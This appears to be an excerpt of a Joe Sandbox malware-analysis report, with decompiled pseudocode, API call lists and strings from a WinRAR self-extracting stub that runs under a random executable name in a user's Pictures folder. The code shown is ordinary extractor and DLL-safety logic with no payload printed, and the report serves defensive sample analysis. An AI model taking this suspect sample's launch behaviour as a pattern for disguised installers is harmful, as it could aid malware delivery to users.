						goto L23;
					}
					__eflags =  *0x8c8300;
					if( *0x8c8300 == 0) {
						goto L21;
					} else {
						__eflags =  *0x8c8301;
						 *0x8c8301 = _t152 & 0xffffff00 |  *0x8c8301 == 0x00000000;
						SetDlgItemTextW(_t311, 1, E00864C77(((_t152 & 0xffffff00 |  *0x8c8301 == 0x00000000) & 0x000000ff) + 0xe6));
						while(1) {
							__eflags =  *0x8c8301;
							if( *0x8c8301 == 0) {
								goto L126;
							}
							__eflags =  *0x8aea1c;
							if( *0x8aea1c != 0) {
								goto L126;
							}
							_t278 = GetMessageW(_t328 - 0x74, 0, 0, 0);
							__eflags = _t278;
							if(_t278 == 0) {
								goto L126;
							} else {
								_t280 = IsDialogMessageW(_t311, _t328 - 0x74);
								__eflags = _t280;
								if(_t280 == 0) {
									TranslateMessage(_t328 - 0x74);
									DispatchMessageW(_t328 - 0x74);
								}
								continue;
							}
						}
						goto L126;
					}
				}
				_t285 = _t152 - 1;
				if(_t285 == 0) {
					__eflags =  *0x8aea14;
					 *0x8aea1c = 1;
					if( *0x8aea14 == 0) {
						goto L11;
					}
					__eflags =  *0x8aea2c;
					if( *0x8aea2c != 0) {
						goto L126;
					}
					goto L11;
				}
				if(_t285 == 0x65) {
					_push(0x800);
					_t289 = E00861120(_t311, E00864C77(0x64), _t328 - 0x1474);
					__eflags = _t289;
					if(_t289 == 0) {
						goto L126;
					} else {
						_push(_t328 - 0x1474);
						_push(0x66);
						goto L125;
					}
				}
				goto L6;
			}

0x00870830
0x00870830
0x00870835
0x0087083f
0x00870846
0x0087084a
0x0087085e
0x00870865
0x00870868
0x00871248
0x00871248
0x0087124a
0x00871250
0x00871258
0x00871258
0x0087086e
0x00870874
0x00870f5f
0x00870f60
0x00870f65
0x00870f6a
0x00870f70
0x00870f76
0x00870f78
0x00870f82
0x00870f82
0x00870f88
0x00870f8d
0x00870f8f
0x00870f9c
0x00870f9c
0x00870fa5
0x00870fb8
0x00870fbb
0x00870fcd
0x00870fd5
0x00870fdb
0x00870fe3
0x00870fe5
0x00870fe8
0x00870fed
0x00870fef
0x00870fef
0x00870ff7
0x00870ffe
0x00871012
0x00871019
0x0087101e
0x00871025
0x00871027
0x00871029
0x0087102f
0x00871030
0x00871030
0x00871035
0x0087103c
0x0087104c
0x0087105f
0x0087105f
0x00871065
0x0087106c
0x0087111d
0x0087111d
0x00871124
0x008711d0
0x008711d0
0x008711d7
0x008711dc
0x008711dc
0x008711e2
0x008711e9
0x008711f0
0x008711fa
0x008711fa
0x008711ff
0x00871204
0x00871206
0x00871208
0x0087120f
0x00871211
0x00871213
0x00871214
0x00871219
0x0087121a
0x0087121c
0x00871226
0x0087121e
0x0087121e
0x0087121e
0x0087121c
0x0087120f
0x0087122c
0x00871233
0x0087123f
0x00871240
0x00871241
0x00871242
0x00871242
0x00000000
0x00871233
0x0087112a
0x00871131
0x00000000
0x00000000
0x00871137
0x0087113e
0x00000000
0x00000000
0x00871144
0x00871146
0x0087114b
0x0087114b
0x00871152
0x00871152
0x00871152
0x00871152
0x00871158
0x00000000
0x00000000
0x0087115a
0x00871161
0x00000000
0x00000000
0x00871163
0x00871163
0x00871169
0x00871177
0x00871188
0x008711a0
0x00000000
0x008711a0
0x0087116b
0x00871172
0x00000000
0x00000000
0x00871174
0x00871174
0x008711a5
0x008711a6
0x008711a6
0x008711ae
0x008711c8
0x008711cd
0x00000000
0x00871072
0x00871072
0x00871074
0x0087107a
0x0087107b
0x00871080
0x00871085
0x00871087
0x00871089
0x00871090
0x00871092
0x008710a6
0x008710b1
0x008710b6
0x00871090
0x008710b7
0x008710bd
0x00871110
0x00871110
0x00871111
0x00871117
0x00871118
0x00000000
0x008710bf
0x008710c0
0x008710c6
0x008710cc
0x00000000
0x00000000
0x008710ce
0x008710d5
0x00000000
0x00000000
0x008710d7
0x008710d9
0x008710df
0x008710e0
0x008710e5
0x008710ec
0x00000000
0x00000000
0x00871102
0x00871108
0x0087110a
0x008709a8
0x008709a8
0x008709ae
0x008709ae
0x008709af
0x008709b0
0x00000000
0x008709b0
0x00000000
0x0087110a
0x008710bd
0x0087106c
0x0087087c
0x00870891
0x00870891
0x00000000
0x00870891
0x00870884
0x00870886
0x008708eb
0x008708f2
0x0087097e
0x0087098d
0x00870993
0x0087099a
0x008709bb
0x008709c2
0x008709d3
0x008709d9
0x008709e0
0x008709e2
0x008709ee
0x00870a01
0x00870a01
0x00870a08
0x00870a0e
0x00870a15
0x00870a30
0x00870a44
0x00870a51
0x00870a74
0x00870a79
0x00870a82
0x00870a83
0x00870a85
0x00870a17
0x00870a21
0x00870a22
0x00870a24
0x00870a29
0x00870a29
0x00870a8a
0x00870a91
0x00870a9a
0x00870a9a
0x00870aa3
0x00870aaf
0x00870ab4
0x00870ab6
0x00870acb
0x00870ad7
0x00870ad9
0x00870adc
0x00870ade
0x00870ae0
0x00870ae6
0x00870ae9
0x00870aec
0x00870aee
0x00870aee
0x00870aec
0x00870af1
0x00870af6
0x00870af8
0x00870b66
0x00870b66
0x00870b6a
0x00870dab
0x00870db1
0x00870dbb
0x00870dcd
0x00870dd7
0x00870de4
0x00870df3
0x00870df5
0x00870df7
0x00870e02
0x00870e02
0x00870e0b
0x00870e0b
0x00870e11
0x00870e13
0x00870e19
0x00870e1a
0x00870e1f
0x00870e21
0x00870e27
0x00870e28
0x00870e2d
0x00870e32
0x00870e33
0x00870e39
0x00870e3e
0x00870e40
0x00870e46
0x00870e4d
0x00870e4e
0x00870e53
0x00870e5a
0x00870e5c
0x00870e63
0x00870e65
0x00870e6c
0x00870e6e
0x00870e70
0x00870e76
0x00870e77
0x00870e77
0x00870e6c
0x00870e63
0x00870e7f
0x00870e84
0x00870e84
0x00870e8b
0x00000000
0x00870e8b
0x00870b70
0x00870b72
0x00000000
0x00000000
0x00000000
0x00870afa
0x00870afa
0x00870afc
0x00870b78
0x00870b78
0x00870b7b
0x00870b7d
0x00870b81
0x00870b83
0x00870d41
0x00870d41
0x00870d45
0x008708e4
0x008708e4
0x00000000
0x008708e4
0x00870d4b
0x00870d55
0x00870d6e
0x00870d7c
0x00870d96
0x00870d9b
0x00000000
0x00870d9b
0x00870b93
0x00870b99
0x00870ba9
0x00870baa
0x00870baf
0x00870bcc
0x00870bd1
0x00870bd4
0x00870be1
0x00870be8
0x00870bf1
0x00870c09
0x00870c0c
0x00870c13
0x00870c16
0x00870c19
0x00870c26
0x00870c28
0x00870c2b
0x00870c2d
0x00870cb8
0x00870c33
0x00870c33
0x00870c3a
0x00870c40
0x00870c42
0x00870c4f
0x00870c4f
0x00870c5b
0x00870c67
0x00870c73
0x00870c7e
0x00870c8a
0x00870ca8
0x00870cab
0x00870cb0
0x00870cb0
0x00870cbf
0x00870cd3
0x00870ce4
0x00870ce9
0x00870ceb
0x00870d25
0x00870d28
0x00000000
0x00870ced
0x00870cf5
0x00870cfb
0x00870cfb
0x00870cfb
0x00870cff
0x00870d02
0x00870d02
0x00870d05
0x00000000
0x00000000
0x00870d09
0x00870d12
0x00870d13
0x00870d16
0x00870d19
0x00000000
0x00000000
0x00000000
0x00870d19
0x00870d1e
0x00870d2b
0x00870d2b
0x00870d2f
0x00870d32
0x00870d3b
0x00870d3b
0x00000000
0x00870d2f
0x00870ceb
0x00870b12
0x00870b17
0x00870b20
0x00870b25
0x00870b38
0x00870b3d
0x00870b40
0x00870b42
0x00870b44
0x00870b4a
0x00870b4d
0x00870b4f
0x00870b4f
0x00870b4d
0x00870b52
0x00870b52
0x00870b52
0x00870b56
0x00870b5c
0x00870b61
0x00000000
0x00870b61
0x00870ab8
0x00870ab8
0x00870abe
0x00870ac1
0x00870ac8
0x00870ac8
0x00000000
0x00870ac8
0x00870ac3
0x00870ac6
0x00000000
0x00000000
0x00000000
0x00870ac6
0x008709c4
0x008709c4
0x008709c6
0x00870e90
0x00870e90
0x00870e97
0x00000000
0x00000000
0x00870e9d
0x00870e9f
0x00000000
0x00000000
0x00870eaa
0x00870eb8
0x00870ebe
0x00870ec4
0x00870ec7
0x00870ed2
0x00870edc
0x00870edc
0x00870ec9
0x00870ec9
0x00870ec9
0x00870ef4
0x00870ef9
0x00870efc
0x00870efe
0x00870f05
0x00870f0e
0x00870f1b
0x00870f26
0x00870f38
0x00870f3d
0x00870f05
0x00870f55
0x00000000
0x00870f55
0x008709c2
0x0087099e
0x0087099f
0x008709a6
0x00000000
0x00000000
0x00000000
0x008709a6
0x008708f8
0x008708ff
0x00000000
0x00870901
0x00870901
0x0087090b
0x00870921
0x00870970
0x00870970
0x00870977
0x00870979
0x00870979
0x00870929
0x00870930
0x00000000
0x00000000
0x0087093f
0x00870945
0x00870947
0x00000000
0x0087094d
0x00870952
0x00870958
0x0087095a
0x00870960
0x0087096a
0x0087096a
0x00000000
0x0087095a
0x00870947
0x00000000
0x00870970
0x008708ff
0x00870888
0x0087088a
0x008708c8
0x008708cf
0x008708d5
0x00000000
0x00000000
0x008708d7
0x008708de
0x00000000
0x00000000
0x00000000
0x008708de
0x0087088f
0x00870898
0x008708ad
0x008708b2
0x008708b4
0x00000000
0x008708ba
0x008708c0
0x008708c1
0x00000000
0x008708c1
0x008708b4
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00870835

Part of subcall function 008611E6: GetDlgItem.USER32(00000000,00003021), ref: 0086122A
Part of subcall function 008611E6: SetWindowTextW.USER32(00000000,00888574), ref: 00861240

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00870921
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0087093F
IsDialogMessageW.USER32(?,?), ref: 00870952
TranslateMessage.USER32(?), ref: 00870960
DispatchMessageW.USER32(?), ref: 0087096A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 0087098D
EndDialog.USER32(?,00000001), ref: 008709B0
GetDlgItem.USER32(?,00000068), ref: 008709D3
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 008709EE
SendMessageW.USER32(00000000,000000C2,00000000,00888574), ref: 00870A01

Part of subcall function 00872491: _wcschr.LIBVCRUNTIME ref: 0087249A
Part of subcall function 00872491: _wcslen.LIBCMT ref: 008724BB

SetFocus.USER32(00000000), ref: 00870A08
_swprintf.LIBCMT ref: 00870A74

Part of subcall function 008639A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008639BC

Part of subcall function 00872512: GetDlgItem.USER32(00000068,008C6300), ref: 00872526
Part of subcall function 00872512: ShowWindow.USER32(00000000,00000005,?,?,?,00870065,00000001,?,?,008707F9,00889D3C,008C6300,008C6300,00001000,00000000,00000000), ref: 0087254E
Part of subcall function 00872512: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00872559
Part of subcall function 00872512: SendMessageW.USER32(00000000,000000C2,00000000,00888574), ref: 00872567
Part of subcall function 00872512: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0087257D
Part of subcall function 00872512: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00872597
Part of subcall function 00872512: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 008725DB
Part of subcall function 00872512: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 008725E9
Part of subcall function 00872512: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 008725F8
Part of subcall function 00872512: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0087261F
Part of subcall function 00872512: SendMessageW.USER32(00000000,000000C2,00000000,00888ECC), ref: 0087262E

GetLastError.KERNEL32(00000000,?), ref: 00870AB8
GetLastError.KERNEL32(?,00000000,?), ref: 00870AE0
GetTickCount.KERNEL32 ref: 00870AFE
_swprintf.LIBCMT ref: 00870B12
GetLastError.KERNEL32 ref: 00870B44
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,00000000,?), ref: 00870B93
_swprintf.LIBCMT ref: 00870BCC
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 00870C20
GetCommandLineW.KERNEL32 ref: 00870C3A
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 00870C97
ShellExecuteExW.SHELL32(0000003C), ref: 00870CBF
WaitForInputIdle.USER32(?,00002710), ref: 00870CF5
Sleep.KERNEL32(00000064), ref: 00870D09
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 00870D32
CloseHandle.KERNEL32(00000000), ref: 00870D3B
_swprintf.LIBCMT ref: 00870D6E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00870DCD
SetDlgItemTextW.USER32(?,00000065,00888574), ref: 00870DE4
GetDlgItem.USER32(?,00000065), ref: 00870DED
GetWindowLongW.USER32(00000000,000000F0), ref: 00870DFC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00870E0B
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00870EB8
_wcslen.LIBCMT ref: 00870F0E
_swprintf.LIBCMT ref: 00870F38
SendMessageW.USER32(?,00000080,00000001,?), ref: 00870F82
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,1F050A80), ref: 00870F9C
GetDlgItem.USER32(?,00000068), ref: 00870FA5
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00870FBB
GetDlgItem.USER32(?,00000066), ref: 00870FD5
SetWindowTextW.USER32(00000000,008B0A42), ref: 00870FF7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 0087104C
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0087105F
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_00010600,00000000,?), ref: 00871102
EnableWindow.USER32(00000000,00000000), ref: 008711DC
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 0087121E

Part of subcall function 0087177D: __EH_prolog.LIBCMT ref: 00871782

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00871242

Strings

C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe, xrefs: 00870E2D, 0087100D
-el -s2 "-d%s" "-sp%s", xrefs: 00870BBB
<, xrefs: 00870BD4
winrarsfxmappingfile.tmp, xrefs: 00870BF6
__tmp_rar_sfx_access_check_%u, xrefs: 00870B05
C:\Users\user\Pictures\Minor Policy, xrefs: 00870C19
@, xrefs: 00870BE1
LICENSEDLG, xrefs: 008710F7
%s, xrefs: 00870F28
"%s"%s, xrefs: 00870D5D
STARTDLG, xrefs: 00870851

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$DialogErrorLast$H_prologLongView_wcslen$CloseCommandCountCreateDispatchEnableExecuteFocusHandleIdleInputLineMappingModuleNameParamShellShowSleepTickTranslateUnmapWait__vswprintf_c_l_wcschr
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Pictures\Minor Policy$C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 270980416-1430047675
Opcode ID: c8e0cc6a5310027c250d7ef1f06392b03824f7c97dc5237d5717ee3ff9c483dd
Instruction ID: 724fede62bdf9512911dc74fdb2c7a188f122766a051569bd726c9f7ff4aaa51
Opcode Fuzzy Hash: c8e0cc6a5310027c250d7ef1f06392b03824f7c97dc5237d5717ee3ff9c483dd
Instruction Fuzzy Hash: 0B42F471940254EAEB21ABB89C4EFBE3B7CFB11700F048155F648E65E6DBB49944CF22

Uniqueness

Uniqueness Score: -1.00%

Function 00866B8F Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00866B8F(void* __edx, char _a3, long _a4, short* _a8, short* _a12, short* _a16, short* _a20, short* _a24, short* _a28, short* _a32, short* _a36, short* _a40, short* _a44, short* _a48, short* _a52, short* _a56, short* _a60, short* _a64, short* _a68, short* _a72, short* _a76, short* _a80, short* _a84, short* _a88, short* _a92, short* _a96, short* _a100, short* _a104, short* _a108, short* _a112, short* _a116, short* _a120, short* _a124, short* _a128, short* _a132, short* _a136, short* _a140, short* _a144, short* _a148, short* _a152, short* _a156, short* _a160, short* _a164, short* _a168, short* _a172, short* _a176, short* _a180, short* _a184, short* _a188, short* _a192, short* _a196, short* _a200, short* _a204, short* _a208, short* _a212, short* _a216, short* _a220, short* _a224, short* _a228, short* _a232, short* _a236, short* _a240, short* _a244, char _a248, char _a252, short _a756, short _a760, char _a768, short _a772, char _a4848, char _a4852, void _a4860, char _a4864, short _a4868, char _a9152, char _a9160, void _a13260, signed char _a46032) {
				char _v1;
				long _v4;
				char* _t111;
				int _t122;
				long _t133;
				void* _t149;
				_Unknown_base(*)()* _t168;
				struct _OVERLAPPED* _t174;
				struct _OVERLAPPED* _t175;
				signed char _t176;
				_Unknown_base(*)()* _t177;
				struct _OVERLAPPED* _t189;
				long _t190;
				void* _t191;
				_Unknown_base(*)()* _t192;
				struct HINSTANCE__* _t193;
				signed int _t195;
				struct _OVERLAPPED* _t196;
				signed int _t197;
				void* _t198;
				_Unknown_base(*)()* _t199;
				signed int _t200;
				int _t201;
				void* _t202;

				E00873AC0(0xb3cc);
				_t174 = 0;
				_a3 = 0;
				_t193 = GetModuleHandleW(L"kernel32");
				if(_t193 != 0) {
					_t168 = GetProcAddress(_t193, "SetDllDirectoryW");
					_t176 = _a46032;
					_t192 = _t168;
					if(_t192 != 0) {
						asm("sbb ecx, ecx");
						_t177 = _t192;
						 *0x88822c( ~(_t176 & 0x000000ff) & 0x00888574);
						 *_t192();
					}
					_t199 = GetProcAddress(_t193, "SetDefaultDllDirectories");
					if(_t199 != 0) {
						_t177 = _t199;
						 *0x88822c((_t176 & 0x000000ff ^ 0x00000001) + 1 << 0xb);
						 *_t199();
						_v1 = 1;
					}
					_t174 = 0;
				}
				_t111 =  *0x893114; // 0x8887d8
				_t201 = _t200 | 0xffffffff;
				_a8 = L"version.dll";
				_t194 = 0x800;
				_a12 = L"DXGIDebug.dll";
				_a16 = L"sfc_os.dll";
				_a20 = L"SSPICLI.DLL";
				_a24 = L"rsaenh.dll";
				_a28 = L"UXTheme.dll";
				_a32 = L"dwmapi.dll";
				_a36 = L"cryptbase.dll";
				_a40 = L"lpk.dll";
				_a44 = L"usp10.dll";
				_a48 = L"clbcatq.dll";
				_a52 = L"comres.dll";
				_a56 = L"ws2_32.dll";
				_a60 = L"ws2help.dll";
				_a64 = L"psapi.dll";
				_a68 = L"ieframe.dll";
				_a72 = L"ntshrui.dll";
				_a76 = L"atl.dll";
				_a80 = L"setupapi.dll";
				_a84 = L"apphelp.dll";
				_a88 = L"userenv.dll";
				_a92 = L"netapi32.dll";
				_a96 = L"shdocvw.dll";
				_a100 = L"crypt32.dll";
				_a104 = L"msasn1.dll";
				_a108 = L"cryptui.dll";
				_a112 = L"wintrust.dll";
				_a116 = L"shell32.dll";
				_a120 = L"secur32.dll";
				_a124 = L"cabinet.dll";
				_a128 = L"oleaccrc.dll";
				_a132 = L"ntmarta.dll";
				_a136 = L"profapi.dll";
				_a140 = L"WindowsCodecs.dll";
				_a144 = L"srvcli.dll";
				_a148 = L"cscapi.dll";
				_a152 = L"slc.dll";
				_a156 = L"imageres.dll";
				_a160 = L"dnsapi.DLL";
				_a164 = L"iphlpapi.DLL";
				_a168 = L"WINNSI.DLL";
				_a172 = L"netutils.dll";
				_a176 = L"mpr.dll";
				_a180 = L"devrtl.dll";
				_a184 = L"propsys.dll";
				_a188 = L"mlang.dll";
				_a192 = L"samcli.dll";
				_a196 = L"samlib.dll";
				_a200 = L"wkscli.dll";
				_a204 = L"dfscli.dll";
				_a208 = L"browcli.dll";
				_a212 = L"rasadhlp.dll";
				_a216 = L"dhcpcsvc6.dll";
				_a220 = L"dhcpcsvc.dll";
				_a224 = L"XmlLite.dll";
				_a228 = L"linkinfo.dll";
				_a232 = L"cryptsp.dll";
				_a236 = L"RpcRtRemote.dll";
				_a240 = L"aclui.dll";
				_a244 = L"dsrole.dll";
				_a248 = L"peerdist.dll";
				if( *_t111 == 0x78) {
					L15:
					GetModuleFileNameW(_t174,  &_a772, _t194);
					E008668CD( &_a9160, E00863887(_t215,  &_a772), _t194);
					_t189 = _t174;
					do {
						_t195 = _t174;
						if(E00862C72() < 0x600) {
							L19:
							_t196 =  *(_t202 + 0x18 + _t195 * 4);
							_push(0x800);
							E00863942(_t218,  &_a772, _t196);
							_t122 = GetFileAttributesW( &_a760); // executed
							if(_t122 != _t201) {
								_t189 = _t196;
								L23:
								if(_v1 != 0) {
									L29:
									_t225 = _t189;
									if(_t189 == 0) {
										return _t122;
									}
									E008638D1(_t225,  &_a768);
									if(E00862C72() < 0x600) {
										_push( &_a9160);
										_push( &_a768);
										E008639A9( &_a4864, 0x864, L"Please remove %s from %s folder. It is unsecure to run %s until it is done.", _t189);
										_t202 = _t202 + 0x18;
										_t122 = AllocConsole();
										__eflags = _t122;
										if(_t122 != 0) {
											__imp__AttachConsole(GetCurrentProcessId());
											_t133 = E00878793( &_a4860);
											WriteConsoleW(GetStdHandle(0xfffffff4),  &_a4860, _t133,  &_v4, 0);
											Sleep(0x2710);
											_t122 = FreeConsole();
										}
									} else {
										E00866B47(L"dwmapi.dll");
										E00866B47(L"uxtheme.dll");
										_push( &_a9152);
										_push( &_a760);
										E008639A9( &_a4852, 0x864, E00864C77(0xf1), _t189);
										_t202 = _t202 + 0x18;
										_t122 = E0086FA04(0,  &_a4848, E00864C77(0xf0), 0x30);
									}
									ExitProcess(0);
								}
								_t197 = 0;
								while(1) {
									_t175 =  *(_t202 + 0x38 + _t197 * 4);
									_push(0x800);
									E00863942(0,  &_a768, _t175);
									_t122 = GetFileAttributesW( &_a756);
									if(_t122 != _t201) {
										break;
									}
									_t197 = _t197 + 1;
									if(_t197 < 0x35) {
										continue;
									}
									goto L29;
								}
								_t189 = _t175;
								goto L29;
							}
							goto L20;
						}
						_t149 = E00866B47( *(_t202 + 0x18 + _t195 * 4)); // executed
						if(_t149 == 0) {
							goto L19;
						}
						_t122 = CompareStringW(0x400, 0x1001,  *(_t202 + 0x24 + _t195 * 4), _t201, L"DXGIDebug.dll", _t201); // executed
						_t218 = _t122 - 2;
						if(_t122 != 2) {
							goto L20;
						}
						goto L19;
						L20:
						_t174 =  &(_t174->Internal);
					} while (_t174 < 8);
					goto L23;
				} else {
					_t190 = E0087BF0D(_t177, _t111);
					if(_t190 == 0) {
						goto L15;
					}
					GetModuleFileNameW(_t174,  &_a4868, 0x800);
					_t198 = CreateFileW( &_a4868, 0x80000000, 1, _t174, 3, _t174, _t174);
					if(_t198 == _t201 || SetFilePointer(_t198, _t190, _t174, _t174) != _t190 || ReadFile(_t198,  &_a13260, 0x7ffe,  &_a4, _t174) == 0) {
						L14:
						CloseHandle(_t198);
						_t194 = 0x800;
						goto L15;
					} else {
						_push(0x104);
						 *((short*)(_t202 + 0x33e0 + (_a4 >> 1) * 2)) = 0;
						_push( &_a252);
						_push( &_a13260);
						while(1) {
							_t191 = E008665FA();
							_t215 = _t191;
							if(_t191 == 0) {
								goto L14;
							}
							E00866B47( &_a252);
							_push(0x104);
							_push( &_a248);
							_push(_t191);
						}
						goto L14;
					}
				}
			}

0x00866b94
0x00866b9d
0x00866ba4
0x00866bae
0x00866bb2
0x00866bba
0x00866bc0
0x00866bc7
0x00866bcb
0x00866bd2
0x00866bdb
0x00866bdd
0x00866be3
0x00866be3
0x00866bf1
0x00866bf5
0x00866c02
0x00866c04
0x00866c0a
0x00866c0c
0x00866c0c
0x00866c11
0x00866c11
0x00866c13
0x00866c18
0x00866c1b
0x00866c23
0x00866c28
0x00866c30
0x00866c3b
0x00866c43
0x00866c4b
0x00866c53
0x00866c5b
0x00866c63
0x00866c6b
0x00866c73
0x00866c7b
0x00866c83
0x00866c8b
0x00866c93
0x00866c9b
0x00866ca3
0x00866cab
0x00866cb3
0x00866cbb
0x00866cc3
0x00866ccb
0x00866cd3
0x00866cdb
0x00866ce3
0x00866ceb
0x00866cf3
0x00866cfe
0x00866d09
0x00866d14
0x00866d1f
0x00866d2a
0x00866d35
0x00866d40
0x00866d4b
0x00866d56
0x00866d61
0x00866d6c
0x00866d77
0x00866d82
0x00866d8d
0x00866d98
0x00866da3
0x00866dae
0x00866db9
0x00866dc4
0x00866dcf
0x00866dda
0x00866de5
0x00866df0
0x00866dfb
0x00866e06
0x00866e11
0x00866e1c
0x00866e27
0x00866e32
0x00866e3d
0x00866e48
0x00866e53
0x00866e5e
0x00866e69
0x00866e74
0x00866f40
0x00866f4a
0x00866f67
0x00866f6c
0x00866f6e
0x00866f6e
0x00866f7a
0x00866fa9
0x00866fa9
0x00866fb4
0x00866fbb
0x00866fc8
0x00866fd0
0x00866fda
0x00866fdc
0x00866fe1
0x00867018
0x00867018
0x0086701a
0x00867131
0x00867131
0x00867028
0x00867037
0x008670a6
0x008670ae
0x008670c2
0x008670c7
0x008670ca
0x008670d0
0x008670d2
0x008670db
0x008670f0
0x00867108
0x00867113
0x00867119
0x00867119
0x00867039
0x0086703e
0x00867048
0x00867054
0x0086705c
0x00867076
0x0086707b
0x00867095
0x00867095
0x00867121
0x00867121
0x00866fe3
0x00866fe5
0x00866fe5
0x00866ff0
0x00866ff7
0x00867004
0x0086700c
0x00000000
0x00000000
0x0086700e
0x00867012
0x00000000
0x00000000
0x00000000
0x00867014
0x00867016
0x00000000
0x00867016
0x00000000
0x00866fd0
0x00866f80
0x00866f87
0x00000000
0x00000000
0x00866f9e
0x00866fa4
0x00866fa7
0x00000000
0x00000000
0x00000000
0x00866fd2
0x00866fd2
0x00866fd3
0x00000000
0x00866e7a
0x00866e80
0x00866e85
0x00000000
0x00000000
0x00866e95
0x00866eb5
0x00866eb9
0x00866f34
0x00866f35
0x00866f3b
0x00000000
0x00866ee7
0x00866eef
0x00866ef4
0x00866f03
0x00866f0b
0x00866f29
0x00866f2e
0x00866f30
0x00866f32
0x00000000
0x00000000
0x00866f16
0x00866f1b
0x00866f27
0x00866f28
0x00866f28
0x00000000
0x00866f29
0x00866eb9

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00866BA8
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00866BBA
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00866BEB
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00866E95
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00866EAF
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00866EBF
ReadFile.KERNEL32(00000000,?,00007FFE,00888828,00000000), ref: 00866EDD
CloseHandle.KERNEL32(00000000), ref: 00866F35
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00866F4A
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00888828,?,00000000,?,00000800), ref: 00866F9E
GetFileAttributesW.KERNELBASE(?,?,00888828,00000800,?,00000000,?,00000800), ref: 00866FC8
GetFileAttributesW.KERNEL32(?,?,008888F0,00000800), ref: 00867004

Part of subcall function 00866B47: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00866B62
Part of subcall function 00866B47: LoadLibraryW.KERNELBASE(?,?,0086583E,Crypt32.dll,00000000,008658C2,?,?,008658A4,?,?,?,?), ref: 00866B84

_swprintf.LIBCMT ref: 00867076
_swprintf.LIBCMT ref: 008670C2

Part of subcall function 008639A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 008639BC

AllocConsole.KERNEL32 ref: 008670CA
GetCurrentProcessId.KERNEL32 ref: 008670D4
AttachConsole.KERNEL32(00000000), ref: 008670DB
_wcslen.LIBCMT ref: 008670F0
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00867101
WriteConsoleW.KERNEL32(00000000), ref: 00867108
Sleep.KERNEL32(00002710), ref: 00867113
FreeConsole.KERNEL32 ref: 00867119
ExitProcess.KERNEL32 ref: 00867121

Strings

SetDefaultDllDirectories, xrefs: 00866BE5
DXGIDebug.dll, xrefs: 00866C28, 00866F8A
dwmapi.dll, xrefs: 00866C53, 00867039
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 008670B0
kernel32, xrefs: 00866B9F
SetDllDirectoryW, xrefs: 00866BB4
uxtheme.dll, xrefs: 00867043

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
